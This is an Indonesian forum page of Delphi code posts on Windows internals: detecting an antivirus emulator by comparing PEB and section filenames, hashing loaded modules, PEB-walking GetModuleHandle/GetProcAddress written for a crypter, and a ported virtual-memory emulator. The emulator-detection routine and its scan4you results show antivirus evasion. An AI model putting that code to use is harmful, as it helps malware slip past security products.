Pada api NtCreateSection terdapat parameter "FileHandle" yang mana disimpan sebagai informasi file dari section. informasi ini sangat berguna untuk mengetahui file path dari section saat melakukan query memory (NtQueryVirtualMemory dengan parameter MemorySectionName). Pada PEB juga disimpan mengenai image filename yang terletak pada ldr data.

Berdasarkan informasi diatas maka saya mencoba melakukan comparasi filaname yang terletak pada PEB-LDR dan filename yang terletak pada section information. Hasilnya ternyata pada beberapa emulator (tested with kaspersky) nilai kedua filename ini berbeda, alasannya karena emulator kaspersky hanya mengemulasikan PEB tidak untuk section object .

Kode: [Pilih]
program Project1;

uses Windows, jwaNative, NcxNtTeb;

function ExtractFileName(FullName: String): String;
var
i, n: integer;
begin
  result := '';
  n := Length(FullName);
  Result := FullName;
  for i := n downto 1 do if FullName[i] = '\' then break;
  if i > 1 then Result := Copy(FullName, i+1, n-i);
end;

function NtSuccess (Stat: LongInt): Boolean;
begin
  Result := Stat >= 0;
end;

Function GetModuleFileNameByAddres(ph:THandle; Address : DWord):String;
var
  mSize,back: dword;
  mPtr: pointer;
  St: LongInt;
begin
  result := '';
  mSize := 512;
  mPtr := AllocMem(mSize);
  St := NtQueryVirtualMemory(ph, Pointer(Address), MemorySectionName, mPtr,mSize,@back);
  if NtSuccess(st) then result := PMEMORY_SECTION_NAME(mPtr).SectionFileName.Buffer;
  FreeMem(mPtr,mSize);
end;

function GetPEB(): Pointer;
asm
  mov eax, large fs:30h
  retn
end;

Function CheckEmulator:Boolean;
var
  pb: PPeb32;
  ldrdata: PPebLdrData32;
  ldrEntry: PLdrDataTableEntry32;
  name1, name2: String;
begin
  //get peb
  pb := GetPEB;
  //get ldr
  ldrdata := pb^.Ldr;
  //get first ldr entry
  ldrEntry := ldrdata^.InLoadOrderModuleList.Flink;
  //get section filename
  name1 := ExtractFileName(GetModuleFileNameByAddres(thandle(-1), DWORD(ldrEntry^.DllBase)));
  //get PEB Image filename
  name2 := ExtractFileName(PWideChar(ldrEntry.FullDllName.Buffer));
  //Compare
  result := name1=name2;
end;

begin
  if not CheckEmulator then messagebox(0, nil, nil, mb_ok);
end.


Scanyou result test
http://scan4you.net/result.php?id=c3408_11egap
http://scan4you.net/result.php?id=dc46a_11dtd3

terakhir saya tidak bertanggung jawab atas penggunaan kode diatas karena tulisan ini saya buat hanya sebagai dokumentasi hasil research tentang bagaimana mendeteksi emulator. Semoga kedepannya av developer dapat lebih menyempurnakan emulatornya..

thanks.

directlink http://cybercoding.wordpress.com/2011/12/12/detect-antivirus-emulator/#more-135

5
Delphi/Pascal / [Delphi] Get MD5 Loaded Module
« pada: November 21, 2011, 08:04:46 AM »
Terkadang kita butuh mengambil checksum atau hash dari module/dll yang terload dengan tujuan menggunakannya untuk berbagai keperluan, ex Anti Tampering pada game <- . Nah snippet berikut akan mengenumerasi semua module yang terload (PEB) dan mengambil md5 dari first section, semoga berguna :D.


Kode: [Pilih]
program MemMd5;

uses
  Windows,
  Sysutils,
  JwaNative,
  JwaNtStatus,
  JwaWinType,
  NcxTypes,
  NcxNtDef,
  NcxNtTeb,
  codesitelogging,
  U_UnionApi,
  U_Md5;

type
  PROCESS_BASIC_INFORMATION = record
    ExitStatus: Cardinal;
    PebBaseAddress: PVOID;
    AffinityMask: Cardinal;
    BasePriority: Cardinal;
    UniqueProcessId: Cardinal;
    InheritedFromUniqueProcessId: Cardinal;
  end;
  TProcessBasicInformation = PROCESS_BASIC_INFORMATION;
  PProcessBasicInformation = ^TProcessBasicInformation;

  TImageOptionalHeader64 = packed record
    Magic                       : WORD;
    MajorLinkerVersion          : BYTE;
    MinorLinkerVersion          : BYTE;
    SizeOfCode                  : DWORD;
    SizeOfInitializedData       : DWORD;
    SizeOfUninitializedData     : DWORD;
    AddressOfEntryPoint         : DWORD;
    BaseOfCode                  : DWORD;
    ImageBase                   : int64;
    SectionAlignment            : DWORD;
    FileAlignment               : DWORD;
    MajorOperatingSystemVersion : WORD;
    MinorOperatingSystemVersion : WORD;
    MajorImageVersion           : WORD;
    MinorImageVersion           : WORD;
    MajorSubsystemVersion       : WORD;
    MinorSubsystemVersion       : WORD;
    Win32VersionValue           : DWORD;
    SizeOfImage                 : DWORD;
    SizeOfHeaders               : DWORD;
    CheckSum                    : DWORD;
    Subsystem                   : WORD;
    DllCharacteristics          : WORD;
    SizeOfStackReserve          : int64;
    SizeOfStackCommit           : int64;
    SizeOfHeapReserve           : int64;
    SizeOfHeapCommit            : int64;
    LoaderFlags                 : DWORD;
    NumberOfRvaAndSizes         : DWORD;
    DataDirectory               : array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of IMAGE_DATA_DIRECTORY;
  end;
  PImageOptionalHeader64 = ^TImageOptionalHeader64;

  PImageBaseRelocation = ^TImageBaseRelocation;
  _IMAGE_BASE_RELOCATION = packed record
    VirtualAddress: DWORD;
    SizeOfBlock: DWORD;
  end;
  TImageBaseRelocation = _IMAGE_BASE_RELOCATION;
  IMAGE_BASE_RELOCATION = _IMAGE_BASE_RELOCATION;

const
  IMAGE_NT_OPTIONAL_HDR32_MAGIC = $10b;  // 32bit PE file
  IMAGE_NT_OPTIONAL_HDR64_MAGIC = $20b;  // 64bit PE file

function NtSuccess(API:AnsiString; AStatus: LongInt): Boolean; overload;
var
  error : DWord;
begin
  Result := AStatus >= 0;
  if result=false then begin
    error := RtlNtStatusToDosError(AStatus);
    SetLastError(error);
    codesite.Sendwinerror('api', error);
  end;
end;

function NtSuccess(AStatus: LongInt): Boolean; overload;
begin
  Result := AStatus >= 0;
end;

function NTApiCall(ApiName: AnsiString; Arg: Array of Const): DWORD; stdcall;
begin
  result := ApiCall32(ApiName, Arg);
  NtSuccess(ApiName, result);
end;

Function GetModuleString(Buff:PWideChar):string;
var
  temp:String;
  I: Integer;
begin
  SetString(temp, Buff, StrLen(Buff));
  I := LastDelimiter('.' + PathDelim + DriveDelim, temp);
  if (I > 0) and (temp[i] = '.') then
    result := Copy(temp, 1, I+3)
  else
    result := temp;
end;

function Align(Value, Align: Cardinal): Cardinal;
begin
  if ((Value mod Align) = 0) then
    Result := Value
  else
    Result := ((Value + Align - 1) div Align) * Align;
end;

Function SetMemProtection(ph: THandle; lpAddress: Pointer; dwSize, flNewProtect: DWORD; var OldProtect: DWORD):boolean;
var
  status: NTStatus;
begin
  Status := NTApiCall('NtProtectVirtualMemory', [
              ph,
              @lpAddress,
              @dwSize,
              flNewProtect,
              @OldProtect
            ]);

  result := NtSuccess(Status);
end;

function GetPeb32(ph : THandle; var PEB : TPeb32):Boolean;
var
  PBI           : PROCESS_BASIC_INFORMATION;
begin
  result := false;

  {Get PROCESS_BASIC_INFORMATION}
  if not NtSuccess(NTApiCall('NtQueryInformationProcess', [ph, Pointer(ProcessBasicInformation), @PBI, SizeOf(PBI), nil])) then begin
    {$IFDEF DebugMode}Codesite.SendWinError('Failed Get PROCESS BASIC INFORMATION  ', Getlasterror);{$ENDIF}
    exit;
  end;

  {Reading PEB}
  if not NtSuccess(NTApiCall('NtReadVirtualMemory', [ph, pbi.PebBaseAddress, @PEB, sizeof(PEB), nil])) then begin
    {$IFDEF DebugMode}Codesite.SendWinError('Failed Reading PEB', Getlasterror);{$ENDIF}
    exit;
  end;

  result := true;
end;

function MD5FirstSectionModule(ph: Thandle; ImageBase:Pointer): String;
var
  pImage:     Pointer;
  pSection:   Pointer;
  INH:        PImageNtHeaders;
  pISH:       PImageSectionHeader;
  Scaddr:     DWord;
  ScSize:     DWord;
  Protect:    DWORD;
begin
  result := '';
  pImage := AllocMem($1000);
  try

    { Read Image }
    if not NtSuccess(NTApiCall('NtReadVirtualMemory', [ph, ImageBase, pImage, $1000, nil])) then begin
      {$IFDEF DebugMode}Codesite.SendWinError('Failed Reading Image ', Getlasterror);{$ENDIF}
      exit;
    end;

    { Check Dos Header }
    if (PImageDosHeader(pImage)^.e_magic <> IMAGE_DOS_SIGNATURE) then exit;

    { Check PE Header }
    INH := Pointer(NativeUint(pImage) + NativeUint(PImageDosHeader(pImage)^._lfanew));
    if (INH^.Signature <> IMAGE_NT_SIGNATURE) then exit;

    { get first section }
    if INH^.OptionalHeader.Magic = IMAGE_NT_OPTIONAL_HDR64_MAGIC then
      pISH := PImageSectionHeader(NativeUint(@INH^.OptionalHeader) + sizeOf(TImageOptionalHeader64))
    else
      pISH := PImageSectionHeader(NativeUint(@INH^.OptionalHeader) + sizeOf(TImageOptionalHeader));

    { get section address }
    Scaddr := Align(pISH^.VirtualAddress, INH^.OptionalHeader.SectionAlignment);

    { get section size }
    ScSize := pISH^.Misc.VirtualSize;
    if (ScSize = 0) then ScSize := pISH^.SizeOfRawData;

    pSection := AllocMem(ScSize);
    try

      { get memory protection }
      SetMemProtection(ph, Pointer(NativeUint(ImageBase)+Scaddr), ScSize, PAGE_EXECUTE_READWRITE, Protect);

      { check if can access}
      if ((Protect and PAGE_NOACCESS) = PAGE_NOACCESS) then begin
        SetMemProtection(ph, Pointer(NativeUint(ImageBase)+Scaddr), ScSize, Protect, Protect);
      end else begin

        { read section }
        if NtSuccess(NTApiCall('NtReadVirtualMemory', [ph, Pointer(NativeUint(ImageBase)+Scaddr), pSection, ScSize, nil])) then begin

          { Get MD5}
          result := MD5DigestToString(MD5Buffer(pSection^, ScSize));
        end;

        { restore the protection }
        SetMemProtection(ph, Pointer(NativeUint(ImageBase)+Scaddr), ScSize, Protect, Protect);
      end;
    finally
      FreeMem(pSection);
    end;
  finally
    FreeMem(pImage);
  end;
end;

procedure PEB32ModuleList(ph : THandle);
var
  PEB           : TPeb32;
  LdrData       : TPebLdrData32;
  LdrModule     : TLdrDataTableEntry32;
  BaseDllName   : Pointer;
  i, dwread     : DWord;
  Head,Current  : DWord;
begin
  if not GetPeb32(ph, PEB) then exit;

  { Reading LoaderData }
  if not NtSuccess(NTApiCall('NtReadVirtualMemory', [ph, PEB.Ldr, @LdrData, sizeof(TPebLdrData32), @dwread])) then begin
    {$IFDEF DebugMode}Codesite.SendWinError('Failed Reading LoaderData ', Getlasterror);{$ENDIF}
    exit;
  end;

  { init for enum the linked list }
  i := 0;
  Head := 0;
  Current := DWord(LdrData.InLoadOrderModuleList.Flink);

  { loop for all ldr entry or module }
  repeat

    { Reading Current entry }
    if not NtSuccess(NTApiCall('NtReadVirtualMemory', [ph, Ptr(Current), @LdrModule, SizeOf(LdrModule), @dwread])) then begin
      {$IFDEF DebugMode}Codesite.SendWinError('Failed Reading Current entry ', Getlasterror);{$ENDIF}
      break;
    end;

    BaseDllName := AllocMem(LdrModule.BaseDllName.Length);
    try

      { Reading BaseDllName }
      if not NtSuccess(NTApiCall('NtReadVirtualMemory', [ph, LdrModule.BaseDllName.Buffer, BaseDllName, LdrModule.BaseDllName.Length, @dwread])) then begin
        {$IFDEF DebugMode}Codesite.SendWinError('Failed Reading BaseDllName', Getlasterror);{$ENDIF}
        break;
      end;

      codesite.send('%s | %s ',[GetModuleString(BaseDllName), MD5FirstSectionModule(ph, LdrModule.DllBase)]);
    finally
      FreeMem(BaseDllName, LdrModule.BaseDllName.Length);
    end;

    { Next Module }
    if i=0 then Head := Dword(LdrModule.InLoadOrderLinks.Blink);
    Current := Dword(LdrModule.InLoadOrderLinks.Flink);
    inc(i);
  until Current = Head;
end;


begin
  try
    PEB32ModuleList(thandle(-1));
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

hmm btw untuk module enumerasi anda bisa menggunakan methode lain misalkan dengan query memory.

directlink : http://cybercoding.wordpress.com/2011/11/21/delphi-get-md5-loaded-module/

6
Delphi/Pascal / [Delphi] ExGetmoduleHandle 32-64 bit
« pada: Oktober 08, 2011, 06:22:04 AM »
just test code a crypter in xe2 (64bit). Bcoz in 64bit peb location moved and sizeof pointer is 8, some walking peb failed and u will get error :D.

Btw here u go alternative getmodulehandle compatible 32 and 64bit pe (xe2)

Kode: [Pilih]
function GetLdr:Pointer; stdcall;
asm
{$IFDEF CPUX86}
  xor   eax, eax
  mov   eax, fs:[eax+$18] //teb
  mov   eax, [eax+$30] //peb
  mov   eax, [eax+$0C] //ldr
{$ELSE}
  xor   rax, rax
  mov   rax, gs:[rax+$30] //teb
  mov   rax, [rax+$60] //peb
  mov   rax, [rax+$18] //ldr
{$ENDIF}
end;

function ExGetmoduleHandle(name: PWideChar): THANDLE;
var
  x, f, cur  : NativeUint;
begin
  result := 0;
  //getLdr
  x := NativeUint(GetLdr); 
{$IFDEF CPUX86}
  //InMemoryOrderModuleList
  f := x+$14; 
  //InMemoryOrderModuleList.Flink
  cur := PNativeUint(f)^;
  while (cur <> f) do begin
    x := cur - $8;
    //BaseDllName
    if (StrComp(PWideChar(PNativeUint(x+$30)^), name) = 0) then begin
      //DllBase
      result := PNativeUint(x+$18)^;
      exit;
    end;
    cur := PNativeUint(cur)^;
  end;
{$ELSE}
  //InMemoryOrderModuleList
  f := x+$20;
  //InMemoryOrderModuleList.Flink
  cur := PNativeUint(f)^;
  while (cur <> f) do begin
    x := cur - $10;
    //BaseDllName
    if (StrComp(PWideChar(PNativeUint(x+$60)^), name) = 0) then begin
      //DllBase
      result := PNativeUint(x+$30)^;
      exit;
    end;
    cur := PNativeUint(cur)^;
  end;
{$ENDIF}
end;

directlink : http://cybercoding.wordpress.com/2011/10/07/delphi-ex-getmodulehandle-32-64-bit/

7
Delphi/Pascal / [Delphi] GetProcAddress x32-x64
« pada: Oktober 03, 2011, 08:20:27 AM »
Lagi test2 xe2 delphi yang mana sudah mendukung compile 64bit.. btw sekalian share nih alternative getprocaddress, support 32 and 64bit pe.

(method walking the export directory table for function address)

Kode: [Pilih]
type
  PUInt32 = ^UInt32;
  UInt32 = LongWord;
  PUInt64 = ^UInt64;
  UInt64 = System.UInt64;

  PSizeT = ^TSizeT;
  TSizeT = {$IFDEF CPUX64} UInt64 {$ELSE} UInt32 {$ENDIF};

const
  // PE header constants
  IMAGE_NT_OPTIONAL_HDR32_MAGIC = $10b;  // 32bit PE file
  IMAGE_NT_OPTIONAL_HDR64_MAGIC = $20b;  // 64bit PE file

Function xGetProcAddress(Module: TSizeT; ProcName: String):Pointer;
var
  pIDH: PImageDosHeader absolute Module;
  pINH : PImageNtHeaders32;
  pIDD: PImageDataDirectory;
  pIED: PImageExportDirectory;
  pdwFuncs1,
  pdwFuncs,
  pdwNames: PULONG;
  pdwOrdinals: PWORD;
  dwOrd1, i, k: cardinal;
  apiname:PAnsiChar;
begin
  result := nil;
  if (Module=0) then exit;

  if (pIDH^.e_magic <> IMAGE_DOS_SIGNATURE) then exit;
  pINH := Pointer(Pbyte(pIDH) + pIDH^._lfanew);
  if (pINH^.Signature <> IMAGE_NT_SIGNATURE) then exit;

  if pINH^.OptionalHeader.Magic = IMAGE_NT_OPTIONAL_HDR64_MAGIC then
    pIDD := @PImageOptionalHeader64(@pINH^.OptionalHeader).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
  else
    pIDD := @pINH^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

  pIED := Pointer(Pbyte(pIDH) + pIDD^.VirtualAddress);
  if (pIED=nil) then exit;

  pdwFuncs := PULONG(Pbyte(pIDH) + Cardinal(pIED^.AddressOfFunctions));
  pdwNames := PULONG(Pbyte(pIDH) + Cardinal(pIED^.AddressOfNames));
  pdwOrdinals := PWORD(Pbyte(pIDH) + Cardinal(pIED^.AddressOfNameOrdinals));
  pdwFuncs1 := pdwFuncs;
  for I := 0 to pIED^.NumberOfFunctions do begin

    dwOrd1 := pdwOrdinals^;
    k := 0;
    pdwFuncs := pdwFuncs1;
    while (k < dwOrd1) do begin
      inc(pdwFuncs);
      inc(k);
    end;

    if (pdwFuncs^ < pIDD^.VirtualAddress) or (pdwFuncs^ >= pIDD^.VirtualAddress + pIDD^.Size) then begin
      apiname := PAnsiChar(Pbyte(pIDH) + pdwNames^);
      if (AnsiStrComp(apiname, Pansichar(AnsiString(ProcName))) = 0) then begin
        result := Pointer(Pbyte(pIDH) + pdwFuncs^);
        exit;
      end;
    end;

    inc(pdwOrdinals);
    inc(pdwNames);
  end;
end;

directlink : http://cybercoding.wordpress.com/2011/10/03/delphi-getprocaddress-x32-x64/

8
Delphi/Pascal / [Delphi] VirtualMemory Implementasion
« pada: September 20, 2011, 02:14:20 PM »
Implementasi VirtualMemory buat digunain untuk Emulator / VM (Virtual Machine) anda.

jelasnya tentang virtualMemory baca di
http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/

Kutip
Windows on 32 bit x86 systems can access up to 4GB of physical memory. This is due to the fact
that the processor’s address bus which is 32 lines or 32 bits can only access address range from
0x00000000 to 0xFFFFFFFF which is 4GB. Windows also allows each process to have its own
4GB logical address space. The lower 2GB of this address space is available for the user mode
process and upper 2GB is reserved for Windows Kernel mode code. How does Windows give 4GB
address space each to multiple processes when the total memory it can access is also limited to
4GB. To achieve this Windows uses a feature of x86 processor (386 and above) known as paging.
Paging allows the software to use a different memory address (known as logical address) than the
physical memory address. The Processor’s paging unit translates this logical address to the physical
address transparently. This allows every process in the system to have its own 4GB logical address
space.

here u go the code

Kode: [Pilih]
{ U_VMemory
Author: Abhe
Description: VirtualMemory Implementasion (ported from Libemu)
Release Date: 20th September 2011
Website: http://cybercoding.wordpress.com/
}
unit U_VMemory;

interface
{$I Build.inc}
uses
Windows, U_VUtils, U_VLog, TypInfo;

type
  PArrayPointer = ^TArrayPointer;
  TArrayPointer = Array [0..1023] of Pointer;
  TSegment = (s_cs, s_ss, s_ds, s_es, s_fs, s_gs);

  TMemRange = record
    id: Char;
    start, Stop : Cardinal;
  end;

  TVMemory = class
  Private
    {Physical Directory Table}
    PDT: Pointer;

    {SegMent}
    ST: Array [TSegment] of DWORD;
    SO: DWORD;
    SC: TSegment;

    MemPoints: Array of DWORD;
    MemRangess: Array of TMemRange;

    Procedure MemoryCheck(addr, len: DWORD; mode:char);
    Function PageAlloc(addr:DWORD):Boolean;
    Function PageDealloc(addr:DWORD):Boolean;
    Procedure Clear;
    Function PageIsAlloc(addr: DWORD):Boolean;
    Function Translate(addr: DWORD):Integer;
  Public
    OnMemPoints: Procedure (addr: DWORD);
    OnMemRangess: Procedure (id, mode: char; addr: DWORD);

    constructor Create;
    Destructor Destroy; override;

    function AllocMemory(var addr: DWORD; Size:DWORD):boolean;
    Procedure DeallocMemory(addr: DWORD; Size:DWORD);

    Function ReadBlock(addr: DWORD; Size:DWORD; dest:Pointer):Integer;
    Function WriteBlock(addr:DWORD; Write:Pointer; Size:DWORD):integer;

    Procedure SelectSegment(s: TSegment);
    Function GetSegMent: TSegment;

    Procedure AddMonitorPoint(addr: DWORD);
    Procedure AddMonitorRange(id:Char; start,Stop: DWORD);
    Procedure ClearMonitorPoint;
    Procedure ClearMonitorRange;
  end;


{$IFDEF VirtualMemory} var  VMemory : TVMemory; {$ENDIF}

type
  TMem = Record
    class function Read<T>(addr:DWORD): T; static;
    class function Write<T>(addr:DWORD; Data:T): Integer; static;
    class function Alloc(var addr:DWORD; Size:DWORD): boolean; static;
    class Procedure Dealloc(addr:DWORD; Size:DWORD); static;
    class Function ReadBlock(addr: DWORD; dest:Pointer; Size:Dword):Integer; static;
    class Function WriteBlock(addr:DWORD; Write:Pointer; Size:DWord):integer; static;
  end;

const
  PAGE_BITS = 12;
  PAGESET_BITS = 10;
  PAGE_SIZE = (1 shl PAGE_BITS);
  PAGESET_SIZE = (1 shl PAGESET_BITS);
  FS_SEGMENT_DEFAULT_OFFSET = $7ffdf000;

implementation

class Function TMem.ReadBlock(addr: DWORD; dest:Pointer; Size:DWORD):Integer;
begin
{$IFDEF VirtualMemory}
  result := VMemory.ReadBlock(addr, Size, dest);
{$ELSE}
  if (Pointer(addr)=nil) then Log('Read UnAllocated Memory %x', lgError, [addr]);
  CopyMemory(dest, Pointer(addr), Size);
  result := Size;
{$ENDIF}
end;

class Function TMem.WriteBlock(addr:DWORD; Write:Pointer; Size:DWORD):integer;
begin
{$IFDEF VirtualMemory}
  result := VMemory.WriteBlock(addr, Write, Size);
{$ELSE}
  if (Pointer(addr)=nil) then Log('Write UnAllocated Memory %x', lgError, [addr]);
  CopyMemory(Pointer(addr), Write, Size);
{$ENDIF}
end;

class function TMem.Read<T>(addr:DWORD): T;
var
  ti: PTypeInfo;
  ds: integer;
  Size:Integer;
begin
  ti := System.TypeInfo(T);
  if assigned(ti) then begin
    ds := GetInlineSize(ti);
    TMem.ReadBlock(addr, @result, ds);
  end;
end;

class function TMem.Write<T>(addr:DWORD; Data:T): Integer;
var
  ti: PTypeInfo;
  ds: integer;
  dt: Pointer;
begin
  result := -1;
  ti := System.TypeInfo(T);
  if assigned(ti) then begin
    ds := GetInlineSize(ti);
    result := TMem.WriteBlock(addr, @Data, ds);
  end;
end;

class function TMem.Alloc(var addr:DWORD; Size:DWORD): boolean;
begin
{$IFDEF VirtualMemory}
  result := VMemory.AllocMemory(Addr, Size);
{$ELSE}
  addr := Cardinal(AllocMem(Size));
  result := true;
{$ENDIF}
end;

class Procedure TMem.Dealloc(addr:DWORD; Size:DWORD);
begin
{$IFDEF VirtualMemory}
  VMemory.DeallocMemory(Addr, Size);
{$ELSE}
  FreeMem(Pointer(addr), Size);
{$ENDIF}
end;

function PAGESET(x: DWORD): DWORD;
begin
  result := ((x) shr (PAGESET_BITS + PAGE_BITS));
end;

function PAGE(x: DWORD): DWORD;
begin
  result := (((x) shr PAGE_BITS) and ((1 shl PAGESET_BITS) - 1));
end;

function OFFSET(x: DWORD): DWORD;
begin
  result := (((1 shl PAGE_BITS) - 1) and (x));
end;

constructor TVMemory.Create;
begin
  inherited create;
  PDT := AllocMem((1 shl (32 - PAGE_BITS - PAGESET_BITS))*4);
  ST[s_fs] := FS_SEGMENT_DEFAULT_OFFSET;
  SO := 0;
end;

Destructor TVMemory.Destroy;
begin
  Clear;
  inherited Destroy;
end;

Procedure TVMemory.Clear;
var
  i,j: DWORD;
  PT: Pointer;
  PG: Pointer;
begin
  if (PDT=nil) then exit;

  for i := 0 to (1 shl (32 - PAGE_BITS - PAGESET_BITS)) -1 do begin

    {Page Directory Traversal}
    if PInteger(DWORD(PDT)+i*4)^=0 then continue;
    PT := Pointer(PInteger(DWORD(PDT)+i*4)^);
    if (PT=nil) then begin
      Log('Allocated But Nil [Table: %d = %x]', lgerror, [i, DWORD(PT)]);
      continue;
    end;

    {Page Table Traversal}
    for j := 0 to PAGESET_SIZE -1 do begin
      if PInteger(DWORD(PT)+j*4)^=0 then continue;
      PG := Pointer(PInteger(DWORD(PT)+j*4)^);
      if (PG=nil) then begin
        Log('Allocated But Nil [Page: %d = %x]', lgerror, [i, DWORD(PG)]);
        continue;
      end;
      Freemem(PG, PAGE_SIZE);
    end;

    Freemem(PT, PAGESET_SIZE*4);
  end;
  Freemem(PDT, (1 shl (32 - PAGE_BITS - PAGESET_BITS))*4);
end;

Function TVMemory.PageAlloc(addr:DWORD):Boolean;
var
  PT:Pointer;
  PG:Pointer;
begin
  result := false;

  {Alloc PageTables}
  if PInteger(DWORD(PDT)+PAGESET(addr)*4)^=0 then begin
    PT := AllocMem(PAGESET_SIZE*4);
    PInteger(DWORD(PDT)+PAGESET(addr)*4)^ := DWORD(PT);
  end;

  {Alloc Page}
  PT := Pointer(PInteger(DWORD(PDT)+PAGESET(addr)*4)^);
  if PInteger(DWORD(PT)+PAGE(addr)*4)^=0 then begin
    PG := AllocMem(PAGE_SIZE);
    PInteger(DWORD(PT)+PAGE(addr)*4)^ := DWORD(PG);
    result := true;
  end;
end;

Function TVMemory.PageIsAlloc(addr: DWORD):Boolean;
var
  PT:Pointer;
begin
  result := false;
  if PInteger(DWORD(PDT)+PAGESET(addr)*4)^=0 then exit;
  PT := Pointer(PInteger(DWORD(PDT)+PAGESET(addr)*4)^);
  if (PT=nil) then exit;
  result := PInteger(DWORD(PT)+PAGE(addr)*4)^ <> 0;
end;

Function TVMemory.Translate(addr: DWORD):Integer;
var
  PT:Pointer;
  base:DWORD;
begin
  result := 0;
  if PInteger(DWORD(PDT)+PAGESET(addr)*4)^=0 then exit;
  PT := Pointer(PInteger(DWORD(PDT)+PAGESET(addr)*4)^);
  if (PT=nil) then exit;
  base := PInteger(DWORD(PT)+PAGE(addr)*4)^;
  result := base+OFFSET(addr);
end;

Function TVMemory.PageDealloc(addr:DWORD):Boolean;
var
  PT:Pointer;
  PG: Pointer;
begin
  result := false;
  if PInteger(DWORD(PDT)+PAGESET(addr)*4)^=0 then exit;
  PT := Pointer(PInteger(DWORD(PDT)+PAGESET(addr)*4)^);
  if (PT=nil) then exit;
  PG := Pointer(PInteger(DWORD(PT)+PAGE(addr)*4)^);
  FreeMem(PG, PAGE_SIZE);
  PInteger(DWORD(PT)+PAGE(addr)*4)^ := 0;
  result := true;
end;

Procedure TVMemory.DeallocMemory(addr: DWORD; Size:DWORD);
var
  i, pages : Cardinal;
begin
  if Size=0 then exit;
  pages := Size div PAGE_SIZE;
  if( Size mod PAGE_SIZE <> 0 ) then inc(pages);
  for i:=0 to pages -1 do PageDealloc(addr + i * PAGE_SIZE);
end;

function TVMemory.AllocMemory(var addr: DWORD; Size:DWORD): Boolean;
var
  i, pages : DWORD;
begin
  result := false;
  if Size=0 then exit;
  addr := $00200000;
  pages := Size div PAGE_SIZE;
  if( Size mod PAGE_SIZE <> 0 ) then inc(pages);
  while 1=1 do begin
    for i:=0 to pages -1 do begin
      if not PageIsAlloc(addr + i * PAGE_SIZE) then break;
    end;
    if i=pages-1 then begin
      for i:=0 to pages -1 do begin
        if not PageAlloc(addr + i * PAGE_SIZE) then exit;
      end;
      result := true;
      exit;
    end;
    addr := addr +  PAGE_SIZE;
  end;
end;

Function TVMemory.ReadBlock(addr: DWORD; Size:DWORD; dest:Pointer): integer;
var
  address: DWORD;
  oaddr: DWORD;
  cb: DWORD;
begin
  result := -1;

  oaddr := addr;
  addr := addr + SO;
  MemoryCheck(addr, Size, 'r');
  address := translate(addr);
  if ( address = 0 ) and (Pointer(address) = nil) then begin
    Log('accessing %x', lgError, [addr]);
    exit;
  end;

  if (OFFSET(addr) + Size <= PAGE_SIZE) then begin
    CopyMemory(dest, Pointer(address), Size);
    result := Size;
  end else begin
    cb := PAGE_SIZE - OFFSET(addr);
    CopyMemory(dest, Pointer(address), cb);
    result := result + readblock(oaddr + cb, Size - cb, Pointer(DWord(dest)+cb));
  end;
end;

Function TVMemory.WriteBlock(addr:DWORD; Write:Pointer; Size:DWORD):integer;
var
  address: DWORD;
  oaddr: DWORD;
  cb: DWORD;
begin
  result := -1;

  oaddr := addr;
  addr := addr + SO;
  MemoryCheck(addr, Size, 'w');

  if( addr < $1000 ) then begin
    Log('accessing %x', lgError, [addr]);
    exit;
  end;

  address := translate(addr);
  if ( address = 0 ) and (Pointer(address) = nil) then begin
    if not PageAlloc(addr) then exit;
    address := translate(addr);
  end;

  if (OFFSET(addr) + size <= PAGE_SIZE) then begin
    copymemory(Pointer(address), Write, Size);
    result := Size;
  end else begin
    cb := PAGE_SIZE - OFFSET(addr);;
    copymemory(Pointer(address), Write, Size);
    result := result + WriteBlock(oaddr + cb, Pointer(DWORD(Write)+cb),size - cb);
  end;
end;

Procedure TVMemory.SelectSegment(s: TSegment);
begin
  SC := s;
  SO := ST[s];
end;

Function TVMemory.GetSegMent: TSegment;
begin
  result := SC;
end;

Procedure TVMemory.MemoryCheck(addr, len: DWORD; mode:char);
var
  i: DWORD;
begin
  if (@OnMemPoints<>nil) then begin
    for i:=0 to length(MemPoints)-1 do begin
      if( (MemPoints[i] >= addr) and (MemPoints[i] <= (addr + len) )) then
        OnMemPoints(addr);
    end;
  end;

  if (@OnMemRangess<>nil) then begin
    for i:=0 to length(MemRangess)-1 do begin
      if( (addr >= MemRangess[i].start) and (addr <= MemRangess[i].stop )) then begin
        OnMemRangess(MemRangess[i].id, mode,  addr);
        break;
      end;

      if (addr < MemRangess[i].start) and ( (addr + len) >= MemRangess[i].start) then begin
        OnMemRangess(MemRangess[i].id, mode,  addr);
        break;
      end;
    end;
  end;
end;

procedure TVMemory.AddMonitorPoint(addr: DWORD);
begin
  setlength(MemPoints, length(MemPoints)+1);
  MemPoints[length(MemPoints)-1] := addr;
end;

Procedure TVMemory.AddMonitorRange(id:Char; start,Stop: DWORD);
begin
  setlength(MemRangess, length(MemRangess)+1);
  MemRangess[length(MemRangess)-1].id := id;
  MemRangess[length(MemRangess)-1].start := start;
  MemRangess[length(MemRangess)-1].Stop := Stop;
end;

Procedure TVMemory.ClearMonitorPoint;
begin
   setlength(MemPoints, 0);
end;

Procedure TVMemory.ClearMonitorRange;
begin
  setlength(MemRangess, 0);
end;


{$IFDEF VirtualMemory}
initialization
  VMemory := TVMemory.Create;

finalization
  VMemory.Free;

{$ENDIF}


end.

sample

Kode: [Pilih]
var
  x: Cardinal;
begin
  TMem.Alloc(x, 1);
  TMem.Write<BYTE>(x, $4);
  codesite.Send('x', TMem.Read<Byte>(x));
end.

directlink : http://cybercoding.wordpress.com/2011/09/20/delphi-virtualmemory-implementasion/

9
Code Virtualization apayah ? masa gak tau sih :(.. Ituloh teknologi digunakan packer (program proteksi) agar kode kita sulit dianalisa. Konsepnya code virtualization simple sih, cukup translate code ke virtualmachine code dan mengeksekusinya pada virtualmachine, heheh simple kan ? Tentu saja tidak karena virtualmachine sendiri itu saya tidak tau bentuk-nya bagaimana :p.

